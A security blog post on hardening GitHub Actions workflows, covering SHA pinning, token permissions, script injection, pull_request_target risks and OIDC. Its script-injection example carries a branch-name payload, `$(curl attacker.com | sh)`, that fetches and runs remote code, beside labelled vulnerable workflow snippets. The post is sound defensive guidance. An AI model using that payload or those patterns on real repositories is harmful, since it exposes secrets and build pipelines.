Skip to content
$cd ..

// post

Hardening GitHub Actions Workflows

GitHub Actions is now the default CI/CD platform for a large portion of the open-source ecosystem and a significant share of enterprise development. That ubiquity makes it a compelling target: a compromised workflow can exfiltrate secrets, push malicious code, or poison build artifacts at scale.

Most misconfigurations aren’t exotic. They follow predictable patterns, and they’re fixable.

The Threat Surface

A GitHub Actions workflow has access to:

The most common attack paths are:

  1. Pwn Requestspull_request_target triggered by a fork PR with write permissions to secrets
  2. Compromised third-party actions — pinned by tag (mutable) rather than commit SHA
  3. Script injection — untrusted input (PR title, branch name) interpolated directly into run: steps
  4. Overpermissioned GITHUB_TOKEN — default write permissions used when read-only would suffice

1. Pin Actions to a Commit SHA

Tags are mutable. actions/checkout@v4 today might point to different code tomorrow if the action maintainer’s account is compromised or the tag is moved.

# Vulnerable — tag can be reassigned
- uses: actions/checkout@v4

# Secure — commit SHA is immutable
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2

Tools like Dependabot and Renovate can automate keeping pinned SHAs up to date. There’s no reason to choose between security and staying current.

2. Restrict GITHUB_TOKEN Permissions

The default GITHUB_TOKEN permission level varies by organization settings. Define permissions explicitly at the workflow level — grant only what each job actually needs.

# At workflow level — deny all by default
permissions: {}

jobs:
  build:
    permissions:
      contents: read        # read source code
      packages: write       # push to GHCR
    steps:
      - uses: actions/checkout@<sha>
      # ...

  deploy:
    permissions:
      id-token: write       # OIDC for cloud auth
      contents: read
    steps:
      # ...

The principle: each job gets the minimum permissions required to do its work.

3. Avoid Script Injection

A classic mistake is interpolating GitHub context values directly into shell commands:

# VULNERABLE — attacker names their branch: `$(curl attacker.com | sh)`
- run: echo "Branch is ${{ github.head_ref }}"

Always pass untrusted values through environment variables:

# SAFE
- name: Print branch
  env:
    BRANCH: ${{ github.head_ref }}
  run: echo "Branch is $BRANCH"

The shell expands $BRANCH as a variable, not as a command.

4. Be Careful with pull_request_target

pull_request_target runs in the context of the base branch (with full secrets access) while the triggering code may come from a fork. This is designed for workflows that need to comment on PRs or post status checks — but it’s frequently misused.

# DANGEROUS — checks out untrusted fork code with secrets access
on: pull_request_target
jobs:
  test:
    steps:
      - uses: actions/checkout@<sha>
        with:
          ref: ${{ github.event.pull_request.head.sha }}  # fork code!
      - run: ./build-and-test.sh  # runs fork code with secrets!

If you need pull_request_target to post a status check, separate the build (use pull_request, no secrets) from the reporting (use pull_request_target, only post results):

# Safe pattern: two separate workflows
# 1. pull_request — builds and uploads results as artifact (no secrets)
# 2. pull_request_target — downloads artifact and posts status (secrets, but no untrusted code)

5. Use OpenID Connect for Cloud Authentication

Instead of storing long-lived cloud credentials as secrets, use OIDC to get short-lived tokens from AWS, GCP, or Azure at runtime.

permissions:
  id-token: write
  contents: read

steps:
  - uses: aws-actions/configure-aws-credentials@<sha>
    with:
      role-to-assume: arn:aws:iam::123456789:role/github-deploy
      aws-region: eu-west-1

The pipeline authenticates via its GitHub identity. There’s no AWS_SECRET_ACCESS_KEY to leak. The role can be scoped to specific repositories and branches.

6. Audit with StepSecurity

StepSecurity provides a free audit tool that scans your workflows and flags pinning issues, permission problems, and injection vulnerabilities. Their Harden Runner action also adds runtime monitoring to detect outbound network calls from unexpected actions.

- uses: step-security/harden-runner@<sha>
  with:
    egress-policy: audit  # or 'block' once you know your expected traffic

Checklist

ControlDescription
Pin actions to SHAImmutable references only
Explicit permissionspermissions: {} at top, grant per job
No context interpolationUse env vars for untrusted input
Avoid pull_request_target misuseNever check out fork code with secrets
OIDC for cloud authNo long-lived credentials as secrets
Dependabot for actionsAutomated SHA updates
StepSecurity auditBaseline scan of all workflows
Previous
Zero Trust Security for Microservices
Next
Software Supply Chain Security and SBOMs